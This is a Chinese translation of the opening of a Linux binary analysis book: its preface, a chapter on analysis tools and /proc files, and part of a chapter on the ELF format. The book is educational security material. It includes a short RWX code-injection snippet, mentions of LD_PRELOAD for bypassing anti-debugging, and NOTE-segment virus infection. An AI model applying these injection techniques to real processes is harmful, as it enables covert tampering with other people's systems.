Linux-二进制分析学习手册-全-

Linux 二进制分析学习手册(全)

原文:zh.annas-archive.org/md5/557450C26A7CBA64AA60AA031A39EC59

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

软件工程是在微处理器上创建一个存在、生活和呼吸的发明的行为。我们称之为程序。逆向工程是发现程序的生存和呼吸方式的行为,而且它是我们如何使用反汇编器和逆向工具的组合来理解、解剖或修改该程序的行为,并依靠我们的黑客直觉来掌握我们正在逆向工程的目标程序。我们必须了解二进制格式、内存布局和给定处理器的指令集的复杂性。因此,我们成为了微处理器上程序生命的真正主人。逆向工程师擅长二进制掌握的艺术。这本书将为您提供成为 Linux 二进制黑客所需的正确课程、见解和任务。当有人称自己为逆向工程师时,他们将自己提升到了不仅仅是工程师的水平。一个真正的黑客不仅可以编写代码,还可以解剖代码,反汇编二进制文件和内存段,以修改软件程序的内部工作方式;这就是力量……

在专业和业余的层面上,我在计算机安全领域使用我的逆向工程技能,无论是漏洞分析、恶意软件分析、杀毒软件、rootkit 检测还是病毒设计。这本书的很多内容将集中在计算机安全方面。我们将分析内存转储、重建进程映像,并探索一些更神秘的二进制分析领域,包括 Linux 病毒感染和二进制取证。我们将解剖感染恶意软件的可执行文件,并感染运行中的进程。这本书旨在解释在 Linux 中进行逆向工程所需的组件,因此我们将深入学习 ELF(可执行和链接格式),这是 Linux 用于可执行文件、共享库、核心转储和目标文件的二进制格式。这本书最重要的方面之一是它深入洞察了 ELF 二进制格式的结构复杂性。ELF 的部分、段和动态链接概念是重要且令人兴奋的知识点。我们将探索黑客 ELF 二进制的深度,并看到这些技能如何应用于广泛的工作领域。

这本书的目标是教会你成为少数具有 Linux 二进制黑客基础的人之一,这将被揭示为一个广阔的主题,为您打开创新研究的大门,并让您处于 Linux 操作系统低级黑客的前沿。您将获得有关 Linux 二进制(和内存)修补、病毒工程/分析、内核取证和 ELF 二进制格式的宝贵知识。您还将对程序执行和动态链接有更多的见解,并对二进制保护和调试内部有更高的理解。

我是一名计算机安全研究人员、软件工程师和黑客。这本书只是对我所做的研究和作为结果产生的基础知识的有组织的观察和记录。

这些知识涵盖了广泛的信息范围,这些信息在互联网上找不到。这本书试图将许多相关主题汇集到一起,以便作为 Linux 二进制和内存黑客主题的入门手册和参考。它绝不是一个完整的参考,但包含了很多核心信息,可以帮助您入门。

这本书涵盖了什么

第一章Linux 环境及其工具,简要描述了本书中将使用的 Linux 环境及其工具。

第二章《ELF 二进制格式》帮助你了解 Linux 和大多数 Unix 操作系统中使用的 ELF 二进制格式的每个主要组件。

第三章《Linux 进程跟踪》教你如何使用 ptrace 系统调用来读取和写入进程内存并注入代码。

第四章《ELF 病毒技术- Linux/Unix 病毒》是你发现 Linux 病毒的过去、现在和未来,以及它们是如何设计的,以及围绕它们的所有令人惊奇的研究。

第五章《Linux 二进制保护》解释了 ELF 二进制保护的基本内部原理。

第六章《Linux ELF 二进制取证》是你学习如何解剖 ELF 对象以寻找病毒、后门和可疑的代码注入的地方。

第七章《进程内存取证》向你展示如何解剖进程地址空间,以寻找存储在内存中的恶意软件、后门和可疑的代码注入。

第八章《ECFS-扩展核心文件快照技术》是对 ECFS 的介绍,这是一个用于深度进程内存取证的新开源产品。

第九章《Linux /proc/kcore 分析》展示了如何通过对/proc/kcore 进行内存分析来检测 Linux 内核恶意软件。

你需要为这本书准备什么

这本书的先决条件如下:我们假设你具有对 Linux 命令行的工作知识、全面的 C 编程技能,以及对 x86 汇编语言的基本了解(这有帮助但不是必需的)。有一句话说,“如果你能读懂汇编语言,那么一切都是开源的。”

这本书适合谁

如果你是软件工程师或逆向工程师,并且想要了解更多关于 Linux 二进制分析的知识,这本书将为你提供在安全、取证和防病毒领域实施二进制分析解决方案所需的一切。这本书非常适合安全爱好者和系统级工程师。我们假设你具有一定的 C 编程语言和 Linux 命令行的经验。

惯例

在这本书中,你会发现一些文本样式,用以区分不同类型的信息。以下是一些这些样式的例子及其含义的解释。

文本中的代码单词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 用户名显示如下:“有七个节头,从偏移量0x1118开始。”

代码块设置如下:

uint64_t injection_code(void * vaddr)
{
        volatile void *mem;

        mem = evil_mmap(vaddr,
                        8192,
                        PROT_READ|PROT_WRITE|PROT_EXEC,
                        MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS,
                        -1, 0);

        __asm__ __volatile__("int3");
}

当我们希望引起你对代码块的特定部分的注意时,相关的行或项目将以粗体显示:

0xb755a990] changed to [0x8048376]
[+] Patched GOT with PLT stubs
Successfully rebuilt ELF object from memory
Output executable location: dumpme.out
[Quenya v0.1@ELFWorkshop]
quit

任何命令行输入或输出都以以下形式书写:

hacker@ELFWorkshop:~/
workshop/labs/exercise_9$ ./dumpme.out

注意

警告或重要提示会以这样的方式出现在一个框中。

提示

提示和技巧会出现在这样的形式。

读者反馈

我们非常欢迎读者的反馈。让我们知道你对这本书的看法——你喜欢或不喜欢什么。读者的反馈对我们很重要,因为它帮助我们开发出你真正能从中获益的标题。

要向我们发送一般反馈,只需通过电子邮件发送 <feedback@packtpub.com>,并在主题中提及书名。

如果您在某个专题上有专业知识,并且有兴趣撰写或为一本书做出贡献,请参阅我们的作者指南www.packtpub.com/authors

客户支持

现在您是 Packt 图书的自豪所有者,我们有很多东西可以帮助您充分利用您的购买。

下载示例代码

您可以从www.packtpub.com的帐户中下载您购买的所有 Packt Publishing 图书的示例代码文件。如果您在其他地方购买了这本书,您可以访问www.packtpub.com/support并注册,以便文件直接通过电子邮件发送给您。

勘误表

尽管我们已经尽一切努力确保内容的准确性,但错误确实会发生。如果您在我们的书中发现错误,也许是文本或代码中的错误,我们将不胜感激,如果您能向我们报告。通过这样做,您可以帮助其他读者避免挫折,并帮助我们改进本书的后续版本。如果您发现任何勘误,请访问www.packtpub.com/submit-errata,选择您的书,点击勘误提交表格链接,并输入您的勘误详情。一旦您的勘误被验证,您的提交将被接受,并且勘误将被上传到我们的网站或添加到该标题的勘误部分下的任何现有勘误列表中。

要查看先前提交的勘误表,请转到www.packtpub.com/books/content/support并在搜索字段中输入书名。所需信息将出现在勘误表部分下。

盗版

互联网上侵犯版权材料的盗版是所有媒体的持续问题。在 Packt,我们非常重视版权和许可的保护。如果您在互联网上发现我们作品的任何非法副本,请立即向我们提供位置地址或网站名称,以便我们采取补救措施。

请通过<copyright@packtpub.com>与我们联系,并附上涉嫌盗版材料的链接。

我们感谢您在保护我们的作者和为您提供有价值内容的能力方面的帮助。

问题

如果您对本书的任何方面有问题,可以通过<questions@packtpub.com>与我们联系,我们将尽力解决问题。

第一章:Linux 环境及其工具

在本章中,我们将重点关注与本书主题相关的 Linux 环境。由于本书专注于 Linux 二进制文件分析,因此利用 Linux 提供的本地环境工具并且每个人都可以访问是有意义的。Linux 已经预装了无处不在的 binutils,但是它们也可以在www.gnu.org/software/binutils/找到。它们包含了大量对二进制文件分析和黑客行为有用的工具。这不是另一本关于使用 IDA Pro 的书。IDA 是无疑是最好的通用软件,用于反向工程二进制文件,我鼓励根据需要使用它,但是在本书中我们不会使用它。相反,您将学会如何在几乎任何 Linux 系统上开始使用已经可访问的环境进行二进制文件的黑客行为。因此,您可以学会欣赏 Linux 作为一个真正的黑客环境,其中有许多免费工具可用。在整本书中,我们将演示各种工具的使用,并随着每一章的进展对如何使用它们进行回顾。然而,让本章作为 Linux 环境中这些工具和技巧的入门或参考。如果您已经非常熟悉 Linux 环境及其用于反汇编、调试和解析 ELF 文件的工具,那么您可以简单地跳过本章。

Linux 工具

在本书中,我们将使用各种任何人都可以访问的免费工具。本节将为您简要介绍其中一些工具。

GDB

GNU 调试器(GDB)不仅用于调试有错误的应用程序。它还可以用于了解程序的控制流,改变程序的控制流,并修改代码、寄存器和数据结构。这些任务对于一个正在利用软件漏洞或揭示复杂病毒内部运作的黑客来说是很常见的。GDB 适用于 ELF 二进制文件和 Linux 进程。它是 Linux 黑客的必备工具,并将在本书的各个示例中使用。

来自 GNU binutils 的 Objdump

对象转储(objdump)是一个快速反汇编代码的简单干净的解决方案。它非常适合反汇编简单且未被篡改的二进制文件,但是当尝试用它进行任何真正具有挑战性的逆向工程任务时,特别是针对敌对软件时,它很快就会显示出其局限性。它的主要弱点在于它依赖于ELF部分头,并且不执行控制流分析,这两个限制大大降低了它的鲁棒性。这导致无法正确地反汇编二进制文件中的代码,甚至在没有部分头的情况下根本无法打开二进制文件。然而,对于许多常规任务来说,它应该足够了,比如反汇编未加固、剥离或以任何方式混淆的常见二进制文件。它可以读取所有常见的ELF类型。以下是一些使用objdump的常见示例:

  • 查看ELF文件中每个部分的所有数据/代码:
objdump -D <elf_object>

  • 仅查看ELF文件中的程序代码:
objdump -d <elf_object>

  • 查看所有符号:
objdump -tT <elf_object>

我们将在第二章中深入探讨objdump和其他工具,ELF 二进制格式

来自 GNU binutils 的 Objcopy

对象复制(Objcopy)是一个非常强大的小工具,我们无法用简单的摘要来总结。我建议您阅读手册页以获取完整的描述。Objcopy可以用于分析和修改任何类型的ELF对象,尽管它的一些功能是特定于某些类型的ELF对象的。Objcopy通常用于修改或复制ELF二进制文件中的ELF部分。

要将.data节从一个ELF对象复制到一个文件,使用以下命令:

objcopy –only-section=.data <infile> <outfile>

objcopy工具将在本书的其余部分中根据需要进行演示。只需记住它的存在,它可以成为 Linux 二进制黑客非常有用的工具。

strace

系统调用跟踪(strace)是一种基于ptrace(2)系统调用的工具,它利用循环中的PTRACE_SYSCALL请求来显示运行程序中系统调用(也称为syscalls)活动的信息,以及执行过程中捕获的信号。这个程序对于调试非常有用,或者只是收集运行时调用了哪些syscalls的信息。

这是用于跟踪基本程序的strace命令:

strace /bin/ls -o ls.out

用于附加到现有进程的strace命令如下:

strace -p <pid> -o daemon.out

初始输出将显示每个以文件描述符作为参数的系统调用的文件描述符号码,例如:

SYS_read(3, buf, sizeof(buf));

如果你想看到所有被读入文件描述符 3 的数据,你可以运行以下命令:

strace -e read=3 /bin/ls

您还可以使用-e write=fd来查看写入的数据。strace工具是一个非常好的小工具,您肯定会找到许多使用它的理由。

ltrace

库跟踪(ltrace)是另一个非常有用的小工具,它与strace非常相似。它的工作方式类似,但它实际上解析了程序的共享库链接信息,并打印正在使用的库函数。

基本的 ltrace 命令

您可以使用-S标志在库函数调用之外看到系统调用。ltrace命令旨在提供更细粒度的信息,因为它解析可执行文件的动态段,并打印来自共享和静态库的实际符号/函数:

ltrace <program> -o program.out

ftrace

函数跟踪(ftrace)是我设计的一个工具。它类似于ltrace,但它还显示了二进制本身内部函数的调用。我在 Linux 中找不到其他公开可用的工具可以做到这一点,所以我决定编写一个。这个工具可以在github.com/elfmaster/ftrace找到。下一章将演示这个工具。

readelf

readelf命令是解剖ELF二进制文件的最有用的工具之一。它提供了关于ELF的每一点数据,这些数据对于在逆向工程之前收集有关对象的信息是必要的。这个工具将在本书中经常使用,以收集有关符号、段、节、重定位条目、数据的动态链接等信息。readelf命令是ELF的瑞士军刀。我们将根据需要深入讨论它,在第二章ELF 二进制格式中,但以下是它最常用的一些标志:

  • 要检索节头表:
readelf -S <object>

  • 要检索程序头表:
readelf -l <object>

  • 要检索符号表:
readelf -s <object>

  • 要检索ELF文件头数据:
readelf -e <object>

  • 要检索重定位条目:
readelf -r <object>

  • 要检索动态段:
readelf -d <object>

ERESI - ELF 逆向工程系统接口

ERESI 项目(www.eresi-project.org)包含许多工具,这些工具是 Linux 二进制黑客的梦想。不幸的是,其中许多工具没有得到更新,并且与 64 位 Linux 不完全兼容。但是,它们确实适用于各种架构,并且无疑是用于黑客ELF二进制的最具创新性的工具集。因为我个人对使用 ERESI 项目的工具并不是很熟悉,而且它们已经不再得到更新,所以我不会在本书中探讨它们的能力。但是,请注意,有两篇 Phrack 文章展示了 ERESI 工具的创新和强大功能:

有用的设备和文件

Linux 有许多文件、设备和/proc条目对于热衷于黑客和逆向工程师非常有帮助。在本书中,我们将演示许多这些文件的用处。以下是本书中经常使用的一些文件的描述。

/proc//maps

/proc/<pid>/maps文件通过显示每个内存映射来包含进程映像的布局。这包括可执行文件、共享库、堆栈、堆、VDSO 等。这个文件对于能够快速解析进程地址空间的布局至关重要,并且在本书中多次使用。

/proc/kcore

/proc/kcoreproc文件系统中的一个条目,它充当 Linux 内核的动态核心文件。也就是说,它是内存的原始转储,以ELF核心文件的形式呈现,可以被 GDB 用于调试和分析内核。我们将在第九章 Linux /proc/kcore 分析中深入探讨/proc/kcore

/boot/System.map

这个文件几乎在所有 Linux 发行版上都可以找到,对内核黑客非常有用。它包含整个内核的每个符号。

/proc/kallsyms

kallsymsSystem.map非常相似,只是它是一个/proc条目,这意味着它由内核维护并动态更新。因此,如果安装了任何新的 LKM,符号将会即时添加到/proc/kallsyms中。/proc/kallsyms至少包含内核中的大部分符号,如果在CONFIG_KALLSYMS_ALL内核配置中指定,将包含所有符号。

/proc/iomem

iomem是一个有用的 proc 条目,它与/proc/<pid>/maps非常相似,但是适用于系统内存的所有部分。例如,如果你想知道内核的文本段在物理内存中的映射位置,你可以搜索Kernel字符串,你将看到code/text段、数据段和bss段:

 $ grep Kernel /proc/iomem
 01000000-016d9b27 : Kernel code
 016d9b28-01ceeebf : Kernel data
 01df0000-01f26fff : Kernel bss

ECFS

扩展核心文件快照(ECFS)是一种专门为进程映像的高级取证分析而设计的特殊核心转储技术。该软件的代码可以在github.com/elfmaster/ecfs找到。此外,第八章 ECFS – 扩展核心文件快照技术,专门解释了 ECFS 是什么以及如何使用它。对于那些对高级内存取证感兴趣的人,你会想要仔细关注这一点。

与链接器相关的环境变量

动态加载器/链接器和链接概念是程序链接和执行过程中不可避免的组成部分。在本书中,你将学到很多关于这些主题的知识。在 Linux 中,有很多方法可以改变动态链接器的行为,可以为二进制黑客提供很多帮助。随着我们在本书中的学习,你将开始理解链接、重定位和动态加载(程序解释器)的过程。以下是一些与链接器相关的属性,它们是有用的,并将在本书中使用。

LD_PRELOAD 环境变量

LD_PRELOAD环境变量可以设置为指定在任何其他库之前应动态链接的库路径。这样做的效果是允许预加载库中的函数和符号覆盖之后链接的其他库中的函数和符号。这实质上允许您通过重定向共享库函数来执行运行时修补。正如我们将在后面的章节中看到的,这种技术可以用于绕过反调试代码和用户态 rootkit。

LD_SHOW_AUXV 环境变量

这个环境变量告诉程序加载器在运行时显示程序的辅助向量。辅助向量是放置在程序堆栈上的信息(由内核的ELF加载例程放置),其中包含传递给动态链接器的有关程序的某些信息。我们将在第三章中更仔细地研究这一点,Linux Process Tracing,但这些信息可能对逆向和调试有用。例如,如果您想获取进程映像中 VDSO 页面的内存地址(也可以从maps文件中获取,如前所示),您必须寻找AT_SYSINFO

以下是使用LD_SHOW_AUXV的辅助向量的示例:

$ LD_SHOW_AUXV=1 whoami
AT_SYSINFO: 0xb7779414
AT_SYSINFO_EHDR: 0xb7779000
AT_HWCAP: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2
AT_PAGESZ: 4096
AT_CLKTCK: 100
AT_PHDR:  0x8048034
AT_PHENT: 32
AT_PHNUM: 9
AT_BASE:  0xb777a000
AT_FLAGS: 0x0
AT_ENTRY: 0x8048eb8
AT_UID:  1000
AT_EUID: 1000
AT_GID:  1000
AT_EGID: 1000
AT_SECURE: 0
AT_RANDOM: 0xbfb4ca2b
AT_EXECFN: /usr/bin/whoami
AT_PLATFORM: i686
elfmaster

辅助向量将在第二章中更深入地介绍,The ELF Binary Format

链接器脚本

链接器脚本对我们来说是一个关注点,因为它们由链接器解释,并帮助塑造程序的布局,涉及到节、内存和符号。默认的链接器脚本可以通过ld -verbose查看。

ld链接程序有一个完整的语言,当它接受输入文件(如可重定位目标文件、共享库和头文件)时,它会解释这种语言,并使用这种语言来确定输出文件,如可执行程序,将如何组织。例如,如果输出是一个ELF可执行文件,链接器脚本将帮助确定布局和哪些段中存在哪些节。另一个例子是:.bss节总是在数据段的末尾;这是由链接器脚本确定的。您可能想知道这对我们来说有什么意义。嗯!首先,重要的是在编译时对链接过程有一些了解。gcc依赖于链接器和其他程序来执行这项任务,在某些情况下,能够控制可执行文件的布局是很重要的。ld命令语言是一种非常深入的语言,超出了本书的范围,但值得一看。在逆向工程可执行文件时,要记住,常见的段地址有时可能会被修改,布局的其他部分也可能会被修改。这表明涉及自定义链接器脚本。可以使用gcc-T标志指定链接器脚本。我们将在第五章中看一个使用链接器脚本的具体例子,Linux Binary Protection

总结

我们刚刚简要介绍了 Linux 环境的一些基本方面和每章演示中最常用的工具。二进制分析在很大程度上是关于了解可用的工具和资源以及它们如何相互配合。我们只是简要介绍了这些工具,但随着我们在接下来的章节中探索 Linux 二进制黑客的广阔世界,我们将有机会强调每个工具的能力。在下一章中,我们将深入探讨 ELF 二进制格式的内部,并涵盖许多有趣的主题,如动态链接、重定位、符号、节等。

第二章:ELF 二进制格式

要逆向工程 Linux 二进制文件,您必须了解二进制格式本身。 ELF 已成为 Unix 和类 Unix 操作系统的标准二进制格式。在 Linux、BSD 变体和其他操作系统中,ELF 格式用于可执行文件、共享库、目标文件、核心转储文件,甚至内核引导映像。这使得学习 ELF 对于那些想要更好地理解逆向工程、二进制黑客和程序执行的人来说非常重要。诸如 ELF 之类的二进制格式通常不是一个快速的学习过程,学习 ELF 需要一定程度的应用,随着学习的进行,需要实际的动手经验才能达到熟练程度。ELF 格式复杂而枯燥,但在逆向工程和编程任务中应用您不断发展的对它的知识时,可以带来一些乐趣。ELF 实际上是计算机科学的一个令人难以置信的组成部分,包括程序加载、动态链接、符号表查找以及许多其他紧密协调的组件。

我认为这一章也许是整本书中最重要的,因为它将使读者对程序实际在磁盘上是如何映射并加载到内存中有更深入的了解。程序执行的内部工作是复杂的,理解它对于有抱负的二进制黑客、逆向工程师或低级程序员来说是宝贵的知识。在 Linux 中,程序执行意味着 ELF 二进制格式。

我的学习 ELF 的方法是通过调查 ELF 规范,就像任何 Linux 逆向工程师应该做的那样,然后以创造性的方式应用我们所学到的每个方面。在本书中,您将了解 ELF 的许多方面,并看到对病毒、进程内存取证、二进制保护、rootkit 等知识的重要性。

在本章中,您将涵盖以下 ELF 主题:

  • ELF 文件类型

  • 程序头

  • 段头

  • 符号

  • 重定位

  • 动态链接

  • 编写 ELF 解析器

ELF 文件类型

ELF 文件可以标记为以下类型之一:

  • ET_NONE:这是一个未知类型。它表示文件类型未知,或者尚未定义。

  • ET_REL:这是一个可重定位文件。ELF 类型可重定位意味着文件被标记为可重定位的代码片段,有时也称为目标文件。可重定位目标文件通常是尚未链接到可执行文件中的位置无关代码PIC)的片段。您经常会在编译代码库中看到.o文件。这些文件保存了适用于创建可执行文件的代码和数据。

  • ET_EXEC:这是一个可执行文件。ELF 类型可执行意味着文件被标记为可执行文件。这些类型的文件也被称为程序,并且是进程开始运行的入口点。

  • ET_DYN:这是一个共享对象。ELF 类型动态意味着文件被标记为动态可链接的目标文件,也称为共享库。这些共享库在运行时加载和链接到程序的进程映像中。

  • ET_CORE:这是一个 ELF 类型的核心文件。核心文件是在程序崩溃时或进程传递了 SIGSEGV 信号(段错误)时,对完整进程映像的转储。GDB 可以读取这些文件,并帮助调试以确定是什么导致程序崩溃。

如果我们使用命令readelf -h查看 ELF 文件,我们可以查看初始 ELF 文件头。 ELF 文件头从 ELF 文件的偏移 0 开始,并用作文件的其余部分的映射。主要是,此标头标记了 ELF 类型,体系结构和执行开始的入口点地址,并提供了到其他类型的 ELF 标头(部分标头和程序标头)的偏移量,这将在后面深入解释。一旦我们解释了部分标头和程序标头的含义,就会更多地了解文件标头。查看 Linux 中的 ELF(5) man 页面可以显示 ELF 标头结构:

#define EI_NIDENT 16
           typedef struct {
               unsigned char e_ident[EI_NIDENT];
               uint16_t      e_type;
               uint16_t      e_machine;
               uint32_t      e_version;
               ElfN_Addr     e_entry;
               ElfN_Off      e_phoff;
               ElfN_Off      e_shoff;
               uint32_t      e_flags;
               uint16_t      e_ehsize;
               uint16_t      e_phentsize;
               uint16_t      e_phnum;
               uint16_t      e_shentsize;
               uint16_t      e_shnum;
               uint16_t      e_shstrndx;
           } ElfN_Ehdr;

在本章后面,我们将看到如何利用此结构中的字段来使用简单的 C 程序映射出 ELF 文件。首先,我们将继续查看其他存在的 ELF 标头类型。

ELF 程序头

ELF 程序头描述了二进制文件中的段,并且对于程序加载是必要的。在加载时,内核通过段来理解并描述可执行文件在磁盘上的内存布局以及它应该如何转换到内存中。程序头表可以通过引用初始 ELF 标头成员e_phoff(程序头表偏移)中找到的偏移量来访问,如显示1.7中的ElfN_Ehdr结构所示。

这里有五种常见的程序头类型,我们将在这里讨论。程序头描述可执行文件(包括共享库)的段以及它是什么类型的段(即,它为何保留了什么类型的数据或代码)。首先,让我们看看 32 位 ELF 可执行文件的程序头表中组成程序头条目的Elf32_Phdr结构。

注意

我们有时将程序头称为 Phdrs 在本书的其余部分。

这是Elf32_Phdr结构:

typedef struct {
    uint32_t   p_type;   (segment type)
    Elf32_Off  p_offset; (segment offset)
    Elf32_Addr p_vaddr;   (segment virtual address)
    Elf32_Addr p_paddr;    (segment physical address)
    uint32_t   p_filesz;   (size of segment in the file)
    uint32_t   p_memsz; (size of segment in memory)
    uint32_t   p_flags; (segment flags, I.E execute|read|read)
    uint32_t   p_align;  (segment alignment in memory)
  } Elf32_Phdr;

PT_LOAD

可执行文件将始终至少有一个PT_LOAD类型段。这种类型的程序头描述了一个可加载段,这意味着该段将被加载或映射到内存中。

例如,具有动态链接的 ELF 可执行文件通常包含以下两个可加载段(类型为PT_LOAD):

  • 程序代码的文本段

  • 以及全局变量和动态链接信息的数据段

前两个段将被映射到内存中,并且将根据p_align中存储的值在内存中对齐。我建议在 Linux 中阅读 ELF man 页面,以了解 Phdr 结构中的所有成员,因为它们描述了文件中的段以及内存中的布局。

程序头主要用于描述程序在执行和内存中的布局。我们将在本章后面使用 Phdrs 来演示它们是什么以及如何在逆向工程软件中使用它们。

注意

文本段(也称为代码段)通常将段权限设置为PF_X | PF_R读+执行)。

数据段通常将段权限设置为PF_W | PF_R读+写)。

受多态病毒感染的文件可能以某种方式更改了这些权限,例如通过将PF_W标志添加到程序头的段标志(p_flags)中,从而修改文本段为可写。

PT_DYNAMIC - 动态段的 Phdr

动态段是特定于动态链接的可执行文件,包含动态链接器所需的信息。此段包含标记值和指针,包括但不限于以下内容:

  • 要在运行时链接的共享库列表

  • 全局偏移表GOT)的地址/位置在ELF 动态链接部分讨论

  • 有关重定位条目的信息

以下是标签名称的完整列表:

标签名称 描述
DT_HASH 符号哈希表的地址
DT_STRTAB 字符串表的地址
DT_SYMTAB 符号表的地址
DT_RELA Rela 重定位表的地址
DT_RELASZ Rela 表的字节大小
DT_RELAENT Rela 表条目的字节大小
DT_STRSZ 字符串表的字节大小
DT_STRSZ 字符串表的字节大小
DT_STRSZ 字符串表的字节大小
DT_SYMENT 符号表条目的字节大小
DT_INIT 初始化函数的地址
DT_FINI 终止函数的地址
DT_SONAME 共享对象名称的字符串表偏移
DT_RPATH 库搜索路径的字符串表偏移
DT_SYMBOLIC 提醒链接器在可执行文件之前搜索此共享对象的符号
DT_REL Rel 重定位表的地址
DT_RELSZ Rel 表的字节大小
DT_RELENT Rel 表条目的字节大小
DT_PLTREL PLT 引用的重定位类型(Rela 或 Rel)
DT_DEBUG 调试的未定义用途
DT_TEXTREL 缺少此项表示不可写段不应用任何重定位
DT_JMPREL 仅用于 PLT 的重定位条目的地址
DT_BIND_NOW 指示动态链接器在将控制转移给可执行文件之前处理所有重定位
DT_RUNPATH 库搜索路径的字符串表偏移

动态段包含一系列结构,其中包含相关的动态链接信息。d_tag成员控制d_un的解释。

32 位 ELF 动态结构:

typedef struct {
Elf32_Sword    d_tag;
    union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
    } d_un;
} Elf32_Dyn;
extern Elf32_Dyn _DYNAMIC[];

我们将在本章后面更多地探讨动态链接

PT_NOTE

类型为PT_NOTE的段可能包含对特定供应商或系统相关的辅助信息。以下是来自正式 ELF 规范的PT_NOTE的定义:

有时供应商或系统构建者需要使用特殊信息标记对象文件,其他程序将检查符合性、兼容性等。SHT_NOTE类型的节和PT_NOTE类型的程序头元素可用于此目的。节和程序头元素中的注释信息包含任意数量的条目,每个条目都是目标处理器格式的 4 字节字数组。下面的标签有助于解释注释信息的组织,但它们不是规范的一部分。

一个值得注意的地方:由于这个段仅用于 OS 规范信息,实际上对于可执行文件的运行并不是必需的(因为系统无论如何都会假定可执行文件是本地的),这个段成为病毒感染的有趣地方,尽管由于大小限制,这并不一定是最实际的方法。关于 NOTE 段感染的一些信息可以在vxheavens.com/lib/vhe06.html找到。

PT_INTERP

这个小段只包含一个指向空终止字符串的位置和大小,描述了程序解释器的位置;例如,/lib/linux-ld.so.2通常是动态链接器的位置,也是程序解释器的位置。

PT_PHDR

此段包含程序头表本身的位置和大小。Phdr 表包含文件(以及内存映像中)描述段的所有 Phdr。

请参阅 ELF(5)手册页面或 ELF 规范文件,以查看所有可能的 Phdr 类型。我们已经涵盖了最常见的那些对程序执行至关重要的,或者在我们的逆向工程努力中最常见的那些。

我们可以使用readelf -l <filename>命令查看文件的 Phdr 表:

Elf file type is EXEC (Executable file)
Entry point 0x8049a30
There are 9 program headers, starting at offset 52
Program Headers:
  Type          Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR          0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP        0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD          0x000000 0x08048000 0x08048000 0x1622c 0x1622c R E 0x1000
  LOAD          0x016ef8 0x0805fef8 0x0805fef8 0x003c8 0x00fe8 RW  0x1000
  DYNAMIC       0x016f0c 0x0805ff0c 0x0805ff0c 0x000e0 0x000e0 RW  0x4
  NOTE          0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME  0x016104 0x0805e104 0x0805e104 0x0002c 0x0002c R   0x4
  GNU_STACK     0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4
  GNU_RELRO     0x016ef8 0x0805fef8 0x0805fef8 0x00108 0x00108 R   0x1

我们可以看到可执行文件的入口点,以及我们刚刚讨论过的一些不同的段类型。注意两个第一个PT_LOAD段的权限标志和对齐标志右侧的偏移量。

文本段是READ+EXECUTE,数据段是READ+WRITE,两个段的对齐方式都是0x1000或 4,096,这是 32 位可执行文件的页面大小,用于程序加载时的对齐。

ELF 节头

现在我们已经看过程序头是什么,是时候看看节头了。我在这里真的想指出两者之间的区别;我经常听到人们将节称为段,将段称为节等等。节不是段。段对于程序执行是必要的,在每个段内,都有被分成节的代码或数据。节头表存在是为了引用这些节的位置和大小,主要用于链接和调试。节头对于程序执行并不是必要的,一个程序没有节头表也可以正常执行。这是因为节头表并不描述程序的内存布局。这是程序头表的责任。节头实际上只是程序头的补充。readelf -l命令将显示哪些节映射到哪些段,这有助于可视化节和段之间的关系。

如果节头被剥离(在二进制文件中缺失),这并不意味着节不存在;这只是意味着它们不能被节头引用,调试器和反汇编程序的信息就会更少。

每个节都包含某种类型的代码或数据。数据可以是程序数据,如全局变量,或者对于链接器而言是必要的动态链接信息。现在,正如之前提到的,每个 ELF 对象都有节,但并非所有 ELF 对象都有节头,主要是当有人故意删除了节头表时,这不是默认情况。

通常,这是因为可执行文件已被篡改(例如,节头已被剥离,使得调试更加困难)。GNU 的所有 binutils,如objcopyobjdump,以及gdb等其他工具都依赖于节头来定位存储在包含符号数据的节中的符号信息。没有节头,诸如gdbobjdump之类的工具几乎是无用的。

节头对于对我们正在查看的 ELF 对象的部分或节进行细粒度检查非常方便。事实上,节头使得逆向工程变得更加容易,因为它们为我们提供了使用某些需要它们的工具的能力。例如,如果节头表被剥离,那么我们就无法访问.dynsym这样的节,其中包含描述函数名称和偏移/地址的导入/导出符号。

注意

即使一个可执行文件的节头表被剥离,一个中等的逆向工程师实际上可以通过从某些程序头获取信息来重建节头表(甚至部分符号表),因为这些信息总是存在于程序或共享库中。我们之前讨论过动态段和包含有关符号表和重定位条目信息的不同DT_TAG。我们可以使用这些信息来重建可执行文件的其他部分,如第八章中所示的ECFS – 扩展核心文件快照技术

以下是 32 位 ELF 节头的样子:

typedef struct {
uint32_t   sh_name; // offset into shdr string table for shdr name
    uint32_t   sh_type; // shdr type I.E SHT_PROGBITS
    uint32_t   sh_flags; // shdr flags I.E SHT_WRITE|SHT_ALLOC
    Elf32_Addr sh_addr;  // address of where section begins
    Elf32_Off  sh_offset; // offset of shdr from beginning of file
    uint32_t   sh_size;   // size that section takes up on disk
    uint32_t   sh_link;   // points to another section
    uint32_t   sh_info;   // interpretation depends on section type
uint32_t   sh_addralign; // alignment for address of section
uint32_t   sh_entsize;  // size of each certain entries that may be in section
} Elf32_Shdr;

让我们再次看一下一些最重要的节和节类型,同时留出空间来研究 ELF(5)手册页和官方 ELF 规范,以获取有关节的更详细信息。

.text 节

.text部分是包含程序代码指令的代码部分。在可执行程序中,如果还有 Phdr's,此部分将位于文本段的范围内。因为它包含程序代码,所以它是部分类型SHT_PROGBITS

.rodata 部分

rodata部分包含只读数据,例如来自 C 代码行的字符串,例如以下命令存储在此部分中:

printf("Hello World!\n");

此部分是只读的,因此必须存在于可执行文件的只读段中。因此,您将在文本段的范围内找到.rodata(而不是数据段)。因为此部分是只读的,所以它是类型SHT_PROGBITS

.plt 部分

过程链接表PLT)将在本章后面深入讨论,但它包含动态链接器调用从共享库导入的函数所需的代码。它位于文本段中,并包含代码,因此标记为类型SHT_PROGBITS

.data 部分

data部分,不要与数据段混淆,将存在于数据段中,并包含诸如初始化的全局变量之类的数据。它包含程序变量数据,因此标记为SHT_PROGBITS

.bss 部分

